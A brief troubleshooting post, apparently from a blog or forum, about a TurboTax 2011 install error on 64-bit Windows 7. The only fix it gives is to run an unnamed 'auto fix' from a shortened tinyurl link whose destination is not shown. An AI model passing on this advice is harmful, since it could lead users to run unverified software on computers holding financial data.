Error: "TurboTax 2011 cannot be installed because you need Windows XP Service Pack 3 (SP3)".

I came across an issue where turbo tax cannot be installed on a windows 7 64 bit system. Error message reported is : "TurboTax 2011 cannot be installed because you need Windows XP Service Pack 3 (SP3)".

In such scenarios, just run an auto fix from http://tinyurl.com/6mcmjp2 and follow the instructions. The issue will be resolved.